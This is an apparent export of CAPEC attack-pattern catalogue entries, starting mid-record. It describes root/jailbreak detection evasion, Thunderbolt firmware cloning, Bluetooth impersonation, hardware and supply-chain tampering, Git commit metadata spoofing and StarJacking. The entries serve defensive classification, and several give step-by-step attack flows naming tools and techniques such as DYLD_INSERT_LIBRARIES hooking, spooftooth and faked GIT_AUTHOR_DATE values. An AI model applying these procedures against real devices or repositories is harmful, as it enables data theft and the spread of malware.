Confidentiality:
  • Execute Unauthorized Commands
Supply Chain
Software
  1. An example of the spoofing strategy would be the eTrust Antivirus Webscan Automated Update Remote Code Execution vulnerability (CVE-2006-3976) and (CVE-2006-3977) whereby an ActiveX control could be remotely manipulated by an attacker controlled web page to download and execute the attackers' code without integrity checking.
None High Draft High 3.9
186
Root/Jailbreak Detection Evasion via Hooking Detailed An adversary forces a non-restricted mobile application to load arbitrary code or code files, via Hooking, with the goal of evading Root/Jailbreak detection. Mobile device users often Root/Jailbreak their devices in order to gain administrative control over the mobile operating system and/or to install third-party mobile applications that are not provided by authorized application stores (e.g. Google Play Store and Apple App Store). Adversaries may further leverage these capabilities to escalate privileges or bypass access control on legitimate applications. Although many mobile applications check if a mobile device is Rooted/Jailbroken prior to authorized use of the application, adversaries may be able to "hook" code in order to circumvent these checks. Successfully evading Root/Jailbreak detection allows an adversary to execute administrative commands, obtain confidential data, impersonate legitimate users of the application, and more. 2020-12-17 01:00:00 Capec: CAPEC-660
Cwe: CWE-829
Attack: T1055
Reference_from_capec: REF-624
Reference_from_capec: REF-625
Reference_from_capec: REF-626
Reference_from_capec: REF-627
2020-12-17 01:00:00 2.1 Integrity:
  • Execute Unauthorized Commands (Through Root/Jailbreak Detection Evasion via Hooking, the adversary compromises the integrity of the application.)
Authorization:
  • Execute Unauthorized Commands (Through Root/Jailbreak Detection Evasion via Hooking, the adversary compromises the integrity of the application.)
  • Gain Privileges
Access Control:
  • Read Data (An adversary may leverage Root/Jailbreak Detection Evasion via Hooking in order to obtain sensitive information.)
Confidentiality:
  • Gain Privileges
  • Read Data (An adversary may leverage Root/Jailbreak Detection Evasion via Hooking in order to obtain sensitive information.)
Software
  1. An adversary targets a non-restricted iOS banking application in an attempt to compromise sensitive user data. The adversary creates Objective-C runtime code that always returns "false" when checking for the existence of the Cydia application. The malicious code is then dynamically loaded into the application via the DYLD_INSERT_LIBRARIES environment variable. When the banking applications checks for Cydia, the hooked code returns "false", so the application assumes the device is stock (i.e. not Jailbroken) and allows it to access the application. However, the adversary has just evaded Jailbreak detection and is now able to glean user credentials and/or transaction details.
  2. An adversary targets a mobile voting application on an Android device with the goal of committing voter fraud. Leveraging the Xposed framework, the adversary is able to create and hook Java code into the application that bypasses Root detection methods. When the voting application attempts to detect a Rooted device by checking for commonly known installed packages associated with Rooting, the hooked code removes the suspicious packages before returning to the application. As a result, the application believes the device is stock (i.e. not Rooted) when in actuality this is not the case. Having evading Root detection, the adversary is now able to cast votes for the candidate of their choosing as a variety of different users.

Explore

  1. Identify application with attack potential: The adversary searches for and identifies a mobile application that could be exploited for malicious purposes (e.g. banking, voting, or medical applications).
  2. Techniques
    Search application stores for mobile applications worth exploiting

Experiment

  1. Develop code to be hooked into chosen target application: The adversary develops code or leverages existing code that will be hooked into the target application in order to evade Root/Jailbreak detection methods.
  2. Techniques
    Develop code or leverage existing code to bypass Root/Jailbreak detection methods.
    Test the code to see if it works.
    Iteratively develop the code until Root/Jailbreak detection methods are evaded.

Exploit

  1. Execute code hooking to evade Root/Jailbreak detection methods: Once hooking code has been developed or obtained, execute the code against the target application to evade Root/Jailbreak detection methods.
  2. Techniques
    Hook code into the target application.
Medium
  • The targeted application must be non-restricted to allow code hooking.
  • The adversary must have a Rooted/Jailbroken mobile device.
  • The adversary needs to have enough access to the target application to control the included code or file.
High: Knowledge about Root/Jailbreak detection and evasion techniques. Medium: Knowledge about code hooking. Stable Very High 3.9
251
Root/Jailbreak Detection Evasion via Debugging Detailed An adversary inserts a debugger into the program entry point of a mobile application to modify the application binary, with the goal of evading Root/Jailbreak detection. Mobile device users often Root/Jailbreak their devices in order to gain administrative control over the mobile operating system and/or to install third-party mobile applications that are not provided by authorized application stores (e.g. Google Play Store and Apple App Store). Rooting/Jailbreaking a mobile device also provides users with access to system debuggers and disassemblers, which can be leveraged to exploit applications by dumping the application's memory at runtime in order to remove or bypass signature verification methods. This further allows the adversary to evade Root/Jailbreak detection mechanisms, which can result in execution of administrative commands, obtaining confidential data, impersonating legitimate users of the application, and more. 2020-12-17 01:00:00 Capec: CAPEC-661
Cwe: CWE-489
Reference_from_capec: REF-625
Reference_from_capec: REF-626
Reference_from_capec: REF-627
Reference_from_capec: REF-628
2020-12-17 01:00:00 2.1 Integrity:
  • Execute Unauthorized Commands (Through Root/Jailbreak Detection Evasion via Debugging, the adversary compromises the integrity of the application.)
Authorization:
  • Execute Unauthorized Commands (Through Root/Jailbreak Detection Evasion via Debugging, the adversary compromises the integrity of the application.)
  • Gain Privileges
Access Control:
  • Read Data (An adversary may leverage Root/Jailbreak Detection Evasion via Debugging in order to obtain sensitive information.)
Confidentiality:
  • Gain Privileges
  • Read Data (An adversary may leverage Root/Jailbreak Detection Evasion via Debugging in order to obtain sensitive information.)
Software
Hardware
  1. An adversary targets an iOS banking application in an attempt to compromise sensitive user data. The adversary launches the application with the iOS debugger and sets a breakpoint at the program entry point, after the application's signature has been verified. Next, the adversary dumps the memory region that contains the decrypted code from the address space of the binary. The 'Restrict' flag is then stripped from the application and the adversary resigns the application with a self-signed certificate. The application is now executed without the 'Restrict' flag, while trusting the self-signed certificate to be legitimate. However, the adversary is now able to evaded Jailbreak detection via code hooking or other methods and can glean user credentials and/or transaction details.

Explore

  1. Identify application with attack potential: The adversary searches for and identifies a mobile application that could be exploited for malicious purposes (e.g. banking, voting, or medical applications).
  2. Techniques
    Search application stores for mobile applications worth exploiting

Experiment

  1. Debug the target application: The adversary inserts the debugger into the program entry point of the mobile application, after the application's signature has been identified, to dump its memory contents.
  2. Techniques
    Insert the debugger at the mobile application's program entry point, after the application's signature has been identified.
    Dump the memory region containing the now decrypted code from the address space of the binary.
  3. Remove application signature verification methods: Remove signature verification methods from the decrypted code and resign the application with a self-signed certificate.

Exploit

  1. Execute the application and evade Root/Jailbreak detection methods: The application executes with the self-signed certificate, while believing it contains a trusted certificate. This now allows the adversary to evade Root/Jailbreak detection via code hooking or other methods.
  2. Techniques
    Optional: Hook code into the target application.
Medium
  • A debugger must be able to be inserted into the targeted application.
  • The adversary must have a Rooted/Jailbroken mobile device with debugging capabilities.
High: Knowledge about Root/Jailbreak detection and evasion techniques. Medium: Knowledge about runtime debugging. Stable Very High 3.9
121
Exploitation of Thunderbolt Protection Flaws Detailed An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow. 2021-06-24 02:00:00 Capec: CAPEC-665
Cwe: CWE-345
Cwe: CWE-353
Cwe: CWE-288
Cwe: CWE-1188
Cwe: CWE-862
Attack: T1211
Attack: T1542.002
Attack: T1556
Reference_from_capec: REF-647
Reference_from_capec: REF-648
Reference_from_capec: REF-649
Reference_from_capec: REF-650
Reference_from_capec: REF-651
Reference_from_capec: REF-652
2022-09-29 02:00:00 2.1 Integrity:
  • Modify Data
Authorization:
  • Execute Unauthorized Commands
Access Control:
  • Bypass Protection Mechanism
Confidentiality:
  • Read Data
Communications
Software
  1. An adversary steals a password protected laptop that contains a Thunderbolt 3 enabled port, from a work environment. The adversary uses a screw driver to remove the back panel of the laptop and connects a SPI Programming device to the Thunderbolt Host Controller SPI Flash of the stolen victim device to interface with it on the adversary's own Thunderbolt enabled device via Thunderbolt cables. The SPI Programming device is utilized to execute scripts/tools from the adversary's own system to copy, parse, and modify the victim's Thunderbolt firmware stored on SPI Flash. The device UUID value is obtained, by computing the appropriate offset based upon Thunderbolt firmware version and the OS of victim device, from the DROM section of victim Thunderbolt host controller firmware image. The firmware image is written to adversary Thunderbolt host controller SPI flash to clone and spoof victim device identity. The adversary reboots the victim device, with the victim device identifying the Thunderbolt connection of the adversary's Thunderbolt device as itself and enables PCIe tunneling. The adversary finally transfers the hard drive and memory contents of victim device across Thunderbolt connection.

Explore

  1. Survey physical victim environment and potential Thunderbolt system targets: The adversary monitors the target's physical environment to identify systems with Thunderbolt interfaces, identify potential weaknesses in physical security in addition to periods of nonattendance by the victim over their Thunderbolt interface equipped devices, and when the devices are in locked or sleep state.
  2. Evaluate the target system and its Thunderbolt interface: The adversary determines the device's operating system, Thunderbolt interface version, and any implemented Thunderbolt protections to plan the attack.

Experiment

  1. Obtain and/or clone firmware image: The adversary physically manipulates Thunderbolt enabled devices to acquire the firmware image from the target and/or adversary Thunderbolt host controller's SPI (Serial Peripheral Interface) flash.
  2. Techniques
    Disassemble victim and/or adversary device enclosure with basic tools to gain access to Thunderbolt controller SPI flash by connecting adversary SPI programmer.
    Adversary connects SPI programmer to adversary-controlled Thunderbolt enabled device to obtain/clone victim thunderbolt controller firmware image through tools/scripts.
    Clone firmware image with SPI programmer and tools/scripts on adversary-controlled device.
  3. Parse and locate relevant firmware data structures and information based upon Thunderbolt controller model, firmware version, and other information: The acquired victim and/or adversary firmware image is parsed for specific data and other relevant identifiers required for exploitation, based upon the victim device information and firmware version.
  4. Techniques
    Utilize pre-crafted tools/scripts to parse and locate desired firmware data and modify it.
    Locate DROM (Device Read Only Memory) data structure section and calculate/determine appropriate offset to replicate victim device UUID.
    Locate ACL (Access Control List) data structure and calculate/determine appropriate offsets to identify victim device UUID.
    Locate data structure containing challenge-response key information between appropriate offsets.
  5. Disable Thunderbolt security and prevent future Thunderbolt security modifications (if necessary): The adversary overrides the target device's Thunderbolt Security Level to "None" (SL0) and/or enables block protections upon the SPI flash to prevent the ability for the victim to perform and/or recognize future Thunderbolt security modifications as well as update the Thunderbolt firmware.
  6. Techniques
    The adversary-controlled Thunderbolt device, connected to SPI programmer and victim device via Thunderbolt ports, is utilized to execute commands within tools/scripts to disable SPI flash protections, modify Thunderbolt Security Level, and enable malicious SPI flash protections.
  7. Modify/replace victim Thunderbolt firmware image: The modified victim and/or adversary thunderbolt firmware image is written to attacker SPI flash.

Exploit

  1. Connect adversary-controlled thunderbolt enabled device to victim device and verify successful execution of malicious actions: The adversary needs to determine if their exploitation of selected vulnerabilities had the intended effects upon victim device.
  2. Techniques
    Observe victim device identify adversary device as the victim device and enables PCIe tunneling.
    Resume victim device from sleep, connect adversary-controlled device and observe security is disabled and Thunderbolt connectivity is restored with PCIe tunneling being enabled.
    Observe that in UEFI or Thunderbolt Management Tool/UI that the Security Level does not match adversary modified Security Level of "None" (SL0)
    Observe after installation of Firmware update that within Thunderbolt Management UI the "NVM version" is unchanged/same prior to the prompt of successful Firmware update/installation.
  3. Exfiltration of desired data from victim device to adversary device: Utilize PCIe tunneling to transfer desired data and information from victim device across Thunderbolt connection.
Low
  • The adversary needs at least a few minutes of physical access to a system with an open Thunderbolt port, version 3 or lower, and an external thunderbolt device controlled by the adversary with maliciously crafted software and firmware, via an SPI Programming device, to exploit weaknesses in security protections.
  • SPI Programming device capable of modifying/configuring or replacing the firmware of Thunderbolt device stored on SPI Flash of target Thunderbolt controller, as well as modification/spoofing of adversary-controlled Thunderbolt controller.
  • Precrafted scripts/tools capable of implementing the modification and replacement of Thunderbolt Firmware.
  • Thunderbolt-enabled computing device capable of interfacing with target Thunderbolt device and extracting/dumping data and memory contents of target device.
High: Detailed knowledge on scripting and SPI programming in order to configure and modify Thunderbolt controller firmware and software configurations. Stable Very High 3.9
276
Bluetooth Impersonation AttackS (BIAS) Detailed An adversary disguises the MAC address of their Bluetooth enabled device to one for which there exists an active and trusted connection and authenticates successfully. The adversary can then perform malicious actions on the target Bluetooth device depending on the target’s capabilities. 2021-06-24 02:00:00 Capec: CAPEC-667
Cwe: CWE-290
2022-09-29 02:00:00 2.1 Integrity:
Confidentiality:
Social Engineering

Explore

  1. Find disguise and target: The adversary starts the Bluetooth service on the attacking device and searches for nearby listening devices.
  2. Techniques
    Knowledge of a trusted MAC address.
    Scanning for devices other than the target that may be trusted.

Experiment

  1. Disguise: Using the MAC address of the device the adversary wants to impersonate, they may use a tool such as spooftooth or macchanger to spoof their Bluetooth address and attempt to authenticate with the target.

Exploit

  1. Use device capabilities to accomplish goal: Finally, if authenticated successfully the adversary can perform tasks/information gathering dependent on the target's capabilities and connections.
Medium
  • Knowledge of a target device's list of trusted connections.
Low: Adversaries must be in close proximity to Bluetooth devices. Draft High 3.9
616
Software Development Tools Maliciously Altered Detailed An adversary with the ability to alter tools used in a development environment causes software to be developed with maliciously modified tools. Such tools include requirements management and database tools, software design tools, configuration management tools, compilers, system build tools, and software performance testing and load testing tools. The adversary then carries out malicious acts once the software is deployed including malware infection of other systems to support further compromises. 2021-06-24 02:00:00 Capec: CAPEC-670
Attack: T1127
Attack: T1195.001
Reference_from_capec: REF-660
Reference_from_capec: REF-439
Reference_from_capec: REF-667
2022-09-29 02:00:00 2.1 Integrity:
  • Execute Unauthorized Commands
Access Control:
  • Gain Privileges
Confidentiality:
  • Modify Data
  • Read Data
Supply Chain
Software
  1. An adversary with access to software build tools inside an Integrated Development Environment IDE alters a script used for downloading dependencies from a dependent code repository where the script has been changed to include malicious code implanted in the repository by the adversary.
None Low
  • An adversary would need to have access to a targeted developer’s development environment and in particular to tools used to design, create, test and manage software, where the adversary could ensure malicious code is included in software packages built through alteration or substitution of tools in the environment used in the development of software.
High: Ability to leverage common delivery mechanisms (e.g., email attachments, removable media) to infiltrate a development environment to gain access to software development tools for the purpose of malware insertion into an existing tool or replacement of an existing tool with a maliciously altered copy. Draft High 3.9
444
Requirements for ASIC Functionality Maliciously Altered Detailed An adversary with access to functional requirements for an application specific integrated circuit (ASIC), a chip designed/customized for a singular particular use, maliciously alters requirements derived from originating capability needs. In the chip manufacturing process, requirements drive the chip design which, when the chip is fully manufactured, could result in an ASIC which may not meet the user’s needs, contain malicious functionality, or exhibit other anomalous behaviors thereby affecting the intended use of the ASIC. 2021-06-24 02:00:00 Capec: CAPEC-671
Attack: T1195.003
Reference_from_capec: REF-439
2022-09-29 02:00:00 2.1 Integrity:
  • Alter Execution Logic
Supply Chain
Hardware
  1. An adversary with access to ASIC functionality requirements for various customers, targets a particular customer’s ordered lot of ASICs by altering its functional requirements such that the ASIC design will result in a manufactured chip that does not meet the customer’s capability needs.
None Low
  • An adversary would need to have access to a foundry’s or chip maker’s requirements management system that stores customer requirements for ASICs, requirements upon which the design of the ASIC is based.
High: An adversary would need experience in designing chips based on functional requirements in order to manipulate requirements in such a way that deviations would not be detected in subsequent stages of ASIC manufacture and where intended malicious functionality would be available to the adversary once integrated into a system and fielded. Draft High 3.9
447
Malicious Code Implanted During Chip Programming Detailed During the programming step of chip manufacture, an adversary with access and necessary technical skills maliciously alters a chip’s intended program logic to produce an effect intended by the adversary when the fully manufactured chip is deployed and in operational use. Intended effects can include the ability of the adversary to remotely control a host system to carry out malicious acts. 2021-06-24 02:00:00 Capec: CAPEC-672
Attack: T1195.003
Reference_from_capec: REF-662
2022-09-29 02:00:00 2.1 Integrity:
  • Alter Execution Logic
Supply Chain
Software
Hardware
  1. Following a chip’s production process steps of test and verification and validation of chip circuitry, an adversary involved in the generation of microcode defining the chip’s function(s) inserts a malicious instruction that will become part of the chip’s program. When integrated into a system, the chip will produce an effect intended by the adversary.
None Low
  • An adversary would need to have access to a foundry’s or chip maker’s development/production environment where programs for specific chips are developed, managed and uploaded into targeted chips prior to distribution or sale.
Medium: An adversary needs to be skilled in microprogramming, manipulation of configuration management systems, and in the operation of tools used for the uploading of programs into chips during manufacture. Uploading can be for individual chips or performed on a large scale basis. Draft High 3.9
444
Developer Signing Maliciously Altered Software Detailed Software produced by a reputable developer is clandestinely infected with malicious code and then digitally signed by the unsuspecting developer, where the software has been altered via a compromised software development or build process prior to being signed. The receiver or user of the software has no reason to believe that it is anything but legitimate and proceeds to deploy it to organizational systems. This attack differs from CAPEC-206, since the developer is inadvertently signing malicious code they believe to be legitimate and which they are unware of any malicious modifications. 2021-06-24 02:00:00 Capec: CAPEC-673
Attack: T1195.002
Reference_from_capec: REF-658
Reference_from_capec: REF-659
2022-09-29 02:00:00 2.1 Integrity:
  • Read Data
  • Modify Data
Authorization:
  • Gain Privileges
  • Execute Unauthorized Commands
Access Control:
  • Gain Privileges
  • Execute Unauthorized Commands
Confidentiality:
  • Read Data
  • Modify Data
Supply Chain
Software
  1. An adversary who has infiltrated an organization’s build environment maliciously alters code intended to be included in a product’s software build via software dependency inclusion, part of the software build process. When the software product has been built, the developer electronically signs the finished product using their signing key. The recipient of the software product, an end user/customer, believes the software to reflect the developer’s intent with respect to functionality unaware of the adversary’s malicious intent harbored within.
None Medium
  • An adversary would need to have access to a targeted developer’s software development environment, including to their software build processes, where the adversary could ensure code maliciously tainted prior to a build process is included in software packages built.
High: The adversary must have the skills to infiltrate a developer’s software development/build environment and to implant malicious code in developmental software code, a build server, or a software repository containing dependency code, which would be referenced to be included during the software build process. Draft High 3.9
444
Design for FPGA Maliciously Altered Detailed An adversary alters the functionality of a field-programmable gate array (FPGA) by causing an FPGA configuration memory chip reload in order to introduce a malicious function that could result in the FPGA performing or enabling malicious functions on a host system. Prior to the memory chip reload, the adversary alters the program for the FPGA by adding a function to impact system operation. 2021-06-24 02:00:00 Capec: CAPEC-674
Attack: T1195.003
Reference_from_capec: REF-660
Reference_from_capec: REF-439
Reference_from_capec: REF-662
2022-09-29 02:00:00 2.1 Integrity:
  • Alter Execution Logic
Supply Chain
Hardware
  1. An adversary with access and the ability to alter the configuration/programming of FPGAs in organizational systems, introduces a trojan backdoor that can be used to alter the behavior of the original system resulting in, for example, compromise of confidentiality of data being processed.
None Low
  • An adversary would need to have access to FPGA programming/configuration-related systems in a chip maker’s development environment where FPGAs can be initially configured prior to delivery to a customer or have access to such systems in a customer facility where end-user FPGA configuration/reconfiguration can be performed.
High: An adversary would need to be skilled in FPGA programming in order to create/manipulate configurations in such a way that when loaded into an FPGA, the end user would be able to observe through testing all user-defined required functions but would be unaware of any additional functions the adversary may have introduced. Stable High 3.9
447
Server Motherboard Compromise Detailed Malware is inserted in a server motherboard (e.g., in the flash memory) in order to alter server functionality from that intended. The development environment or hardware/software support activity environment is susceptible to an adversary inserting malicious software into hardware components during development or update. 2021-10-21 02:00:00 Capec: CAPEC-677
Attack: T1195.003
Reference_from_capec: REF-439
Reference_from_capec: REF-660
Reference_from_capec: REF-685
2023-01-24 01:00:00 2.1 Integrity:
  • Execute Unauthorized Commands
Supply Chain
Physical Security
Hardware
  1. Malware is inserted into the Unified Extensible Firmware Interface (UEFI) software that resides on a flash memory chip soldered to a computer’s motherboard. It is the first thing to turn on when a system is booted and is allowed access to almost every part of the operating system. Hence, the malware will have extensive control over operating system functions and persist after system reboots. [REF-685]
None Low
  • An adversary with access to hardware/software processes and tools within the development or hardware/software support environment can insert malicious software into hardware components during development or update/maintenance.
Draft High 3.9
534
System Build Data Maliciously Altered Detailed During the system build process, the system is deliberately misconfigured by the alteration of the build data. Access to system configuration data files and build processes is susceptible to deliberate misconfiguration of the system. 2021-10-21 02:00:00 Capec: CAPEC-678
Attack: T1195.002
Reference_from_capec: REF-439
Reference_from_capec: REF-660
2023-01-24 01:00:00 2.1 Integrity:
  • Execute Unauthorized Commands
Access Control:
  • Gain Privileges
Confidentiality:
  • Modify Data
  • Read Data
Supply Chain
Software
Hardware
  1. ‘Make’ is a program used for building executable programs and libraries from source code by executing commands and following rules in a ‘makefile’. It can create a malicious executable if commands or dependency paths in the makefile are maliciously altered to execute an unwanted command or reference as a dependency maliciously altered code.
None Low
  • An adversary has access to the data files and processes used for executing system configuration and performing the build.
Draft High 3.9
444
Exploitation of Improperly Configured or Implemented Memory Protections Detailed An adversary takes advantage of missing or incorrectly configured access control within memory to read/write data or inject malicious code into said memory. Hardware product designs often need to implement memory protection features to prevent users from reading and modifying memory reserved for security operations such as secure booting, authenticating code, device attestation, and more. However, these protection features may be missing if not configured by developers. For example, this can occur if the developers assume these features are configured elsewhere. Additionally, developers often attempt to impose proper protection features, but may incorrectly configure these controls. One such example would be setting controls with insufficient granularity for protected address regions. If an adversary is able to discover improper access controls surrounding memory, it could result in the adversary obtaining sensitive data, executing code, circumventing security mechanisms, escalating privileges, or even denying service to higher privilege software. 2021-10-21 02:00:00 Capec: CAPEC-679
Cwe: CWE-1222
Cwe: CWE-1252
Cwe: CWE-1257
Cwe: CWE-1260
Cwe: CWE-1274
Cwe: CWE-1282
Cwe: CWE-1312
Cwe: CWE-1316
Cwe: CWE-1326
Reference_from_capec: REF-687
Reference_from_capec: REF-668
Reference_from_capec: REF-689
Reference_from_capec: REF-690
Reference_from_capec: REF-691
Reference_from_capec: REF-692
2021-10-21 02:00:00 2.1 Integrity:
  • Modify Data
  • Execute Unauthorized Commands (Run Arbitrary Code)
Availability:
  • Execute Unauthorized Commands (Run Arbitrary Code)
Authorization:
  • Gain Privileges
Access Control:
  • Gain Privileges
Confidentiality:
  • Read Data
  • Execute Unauthorized Commands (Run Arbitrary Code)
  • Gain Privileges
Hardware
Hardware
  1. A hardware product contains non-volatile memory, which itself contains boot code that is insufficiently protected. An adversary then modifies this memory to either bypass the secure boot process or to execute their own code.
  2. A hardware product leverages a CPU that does not possess a memory-protection unit (MPU) and a memory-management unit (MMU) nor a special bit to support write exclusivity, resulting in no write exclusivity. Because of this, an adversary is able to inject malicious code into the memory and later execute it to achieve the desired outcome.
None Medium
  • Access to the hardware being leveraged.
High: Intricate knowledge of memory structures. Medium: Ability to craft malicious code to inject into the memory region. Draft Very High 3.9
1 180
Exploitation of Improperly Controlled Registers Detailed An adversary exploits missing or incorrectly configured access control within registers to read/write data that is not meant to be obtained or modified by a user. Hardware systems often utilize trusted lock bits to prevent a set of registers from being written to or to restrict a register to only being written to once. Registers are also frequently used to store sensitive data leveraged in additional security operations, such as secure booting, authenticating code, device attestation, and more. However, the access control mechanisms meant to protect these registers may be fully missing or ineffective due to misconfiguration. If an adversary is able to discover improper access controls surrounding registers, it could result in the adversary obtaining sensitive data and/or modifying data that is meant to be immutable. This can ultimately result in processes like secure boot being circumvented or in protected configurations being modified. 2021-10-21 02:00:00 Capec: CAPEC-680
Cwe: CWE-1224
Cwe: CWE-1231
Cwe: CWE-1233
Cwe: CWE-1262
Cwe: CWE-1283
Reference_from_capec: REF-693
2021-10-21 02:00:00 2.1 Integrity:
  • Modify Data
Confidentiality:
  • Read Data
Hardware
Hardware
  1. During a System-on-Chip's (SoC) secure boot process, the code to be authenticated is measured to determine the code's validity. This entails the one-way hash of the code binary being calculated and extended to the previous hash. The value obtained after completion of the boot flow is then stored in a register with the intent of later verifying this value to determine if the boot flow has been tampered with. However, the register being used does not prevent an adversary from modifying the register's contents, which can result in the adversary spoofing the measurement data used in the attestation process.
None Medium
  • Awareness of the hardware being leveraged.
  • Access to the hardware being leveraged.
High: Intricate knowledge of registers. Draft High 3.9
1 180
Exploitation of Improperly Controlled Hardware Security Identifiers Detailed An adversary takes advantage of missing or incorrectly configured security identifiers (e.g., tokens), which are used for access control within a System- on-Chip (SoC), to read/write data or execute a given action. A System-on-Chip (SoC) often implements a security identifier mechanism to differentiate what actions are allowed or disallowed when a transaction originates from an entity. However, these mechanisms may be exploitable due to any number of the following: The security identifiers are missing The security identifiers are incorrectly implemented or generated The security identifiers are generated with an obsolete encoding The security identifiers are generated and implemented correctly, but are improperly protected If the security identifiers leveraged by the SoC are missing or misconfigured, an adversary may be able to take advantage of this shortcoming to circumvent the intended access controls. This could result in the adversary gaining unintended access, performing a Denial of Service (DoS), escalating privileges, or spoofing actions from a trusted agent. 2021-10-21 02:00:00 Capec: CAPEC-681
Cwe: CWE-1259
Cwe: CWE-1267
Cwe: CWE-1270
Cwe: CWE-1294
Cwe: CWE-1302
Reference_from_capec: REF-694
Reference_from_capec: REF-695
2021-10-21 02:00:00 2.1 Integrity:
  • Modify Data
Authorization:
  • Gain Privileges
Access Control:
  • Gain Privileges
Confidentiality:
  • Read Data
  • Gain Privileges
Hardware
Hardware
  1. A system contains a register (divided into four 32-bit registers) that is used to store a 128-bit AES key for encryption/decryption, in addition to an access-policy register. The access-policy register determines which agents may access the AES-key registers, based on a corresponding security identifier. It is assumed the system has two agents: a Main-controller and an Aux-controller, with respective security identifiers "1" and "2". The Main-controller (ID "1") is meant to have access to the AES-key registers, while the Aux-controller (ID "2") has access to the access-policy register. If a SoC incorrectly generates security identifier "1" for both agents, then both agents will have access to the AES-key registers. This could further result in a Denial-of-Service (DoS) or the execution of an action that in turn could result in privilege escalation or unintended access.
None Medium
  • Awareness of the hardware being leveraged.
  • Access to the hardware being leveraged.
High: Intricate knowledge of the identifiers being utilized. Medium: Ability to execute actions within the SoC. Draft Very High 3.9
1 180
Spoof Version Control System Commit Metadata Detailed An adversary spoofs metadata pertaining to a Version Control System (VCS) (e.g., Git) repository's commits to deceive users into believing that the maliciously provided software is frequently maintained and originates from a trusted source. Version Control Systems are widely used by developers to host, track, and manage source code files in an easy and synchronous manner. These systems are often leveraged to host open-source software that other developers can incorporate into their own applications or use as standalone applications. To prevent downloading vulnerable and/or malicious code, developers will often check the metadata of VCS repository commits to determine the repository's overall pedigree. This may include a variety of information, such as the following: Owner of the repository Author(s) of commits Frequency of commits Date/Time of commits Repository activity graphs These precursory checks can assist developers in determining whether a trusted individual/organization is providing the source code, how often the code is updated, and the relative popularity of the software. However, an adversary can spoof this metadata to make a repository containing malicious code appear as originating from a trusted source, being frequently maintained, and being commonly used by other developers. Without performing additional security activities, unassuming developers may be duped by this spoofed metadata and include the malicious code within their systems/applications. The adversary is then ultimately able to achieve numerous negative technical impacts, while the victim remains unaware of any malicious activity. 2022-09-29 02:00:00 Capec: CAPEC-692
Cwe: CWE-494
Reference_from_capec: REF-719
Reference_from_capec: REF-720
2022-09-29 02:00:00 2.1 Integrity:
  • Modify Data
Authorization:
  • Execute Unauthorized Commands
  • Alter Execution Logic
  • Gain Privileges
Access Control:
  • Execute Unauthorized Commands
  • Alter Execution Logic
  • Gain Privileges
Accountability:
  • Hide Activities
Social Engineering
Supply Chain
Software
  1. In July 2022, Checkmarx reported that GitHub commit metadata could be spoofed if unsigned commits were leveraged by the repository. Adversaries were able to spoof commit contributors, as well as the date/time of the commit. This resulted in commits appearing to originate from trusted developers and a GitHub activity graph that duped users into believing that the repository had been maintained for a significant period of time. The lack of commit metadata validation ultimately allowed adversaries to propagate malware to unsuspecting victims [REF-719] [REF-720].

Explore

  1. Identify target: The adversary must first identify a target repository for them to spoof. Typically, this will be a popular and widely used repository, as to increase the amount of victims a successful attack will exploit.

Experiment

  1. Create malicious repository: The adversary must create a malicious repository that imitates the legitimate repository being spoofed. This may include creating a username that closely matches the legitimate repository owner; creating a repository name that closely matches the legitimate repository name; uploading the legitimate source code; and more.
  2. Spoof commit metadata: Once the malicious repository has been created, the adversary must then spoof the commit metadata to make the repository appear to be frequently maintained and originating from trusted sources.
  3. Techniques
    Git Commit Timestamps: The adversary generates numerous fake commits while setting the "GIT_AUTHOR_DATE" and "GIT_COMMITTER_DATE" environment variables to a date which is to be spoofed.
    Git Commit Contributors: The adversary obtains a legitimate and trusted user's email address and then sets this information via the "git config" command. The adversary can then commit changes leveraging this username.

Exploit

  1. Exploit victims: The adversary infiltrates software and/or system environments with the goal of conducting additional attacks.
  2. Techniques
    Active: The adversary attempts to trick victims into downloading the malicious software by means such as phishing and social engineering.
    Passive: The adversary waits for victims to download and leverage malicious software.
Medium
  • Identification of a popular open-source repository whose metadata is to be spoofed.
Medium: Ability to spoof a variety of repository metadata to convince victims the source is trusted. Stable High 3.9
691
StarJacking Detailed An adversary spoofs software popularity metadata to deceive users into believing that a maliciously provided package is widely used and originates from a trusted source. Many open-source software packages are hosted via third-party package managers (e.g., Node Package Manager, PyPi, Yarn, etc.) that allow for easy integration of software components into existing development environments. A package manager will typically include various metadata about the software and often include a link to the package's source code repository, to assist developers in determining the trustworthiness of the software. One common statistic used in this decision-making process is the popularity of the package. This entails checking the amount of "Stars" the package has received, which the package manager displays based on the provided source code repository URL. However, many package managers do not validate the connection between the package and source code repository being provided. Adversaries can thus spoof the popularity statistic of a malicious package by associating a popular source code repository URL with the package. This can ultimately trick developers into unintentionally incorporating the malicious package into their development environment. 2022-09-29 02:00:00 Capec: CAPEC-693
Cwe: CWE-494
Reference_from_capec: REF-721
2022-09-29 02:00:00 2.1 Integrity:
  • Modify Data
Authorization:
  • Execute Unauthorized Commands
  • Alter Execution Logic
  • Gain Privileges
Access Control:
  • Execute Unauthorized Commands
  • Alter Execution Logic
  • Gain Privileges
Accountability:
  • Hide Activities
Social Engineering
Supply Chain
Software
  1. In April 2022, Checkmarx reported that packages hosted on NPM, PyPi, and Yarn do not properly validate that the provided GitHub repository URL actually pertains to the package being provided. Combined with additional attacks such as TypoSquatting, this allows adversaries to spoof popularity metadata by associating popular GitHub repository URLs with the malicious package. This can further lead to developers unintentionally including the malicious package within their development environments [REF-721].

Explore

  1. Identify target: The adversary must first identify a target package whose popularity statistics will be leveraged. This will be a popular and widely used package, as to increase the perceived pedigree of the malicious package.

Experiment

  1. Spoof package popularity: The adversary provides their malicious package to a package manager and uses the source code repository URL identified in Step 1 to spoof the popularity of the package. This malicious package may also closely resemble the legitimate package whose statistics are being utilized.

Exploit

  1. Exploit victims: The adversary infiltrates development environments with the goal of conducting additional attacks.
  2. Techniques
    Active: The adversary attempts to trick victims into downloading the malicious package by means such as phishing and social engineering.
    Passive: The adversary waits for victims to download and leverage the malicious package.
Medium
  • Identification of a popular open-source package whose popularity metadata is to be used for the malicious package.
Low: Ability to provide a package to a package manager and associate a popular package's source code repository URL. Stable High 3.9
691
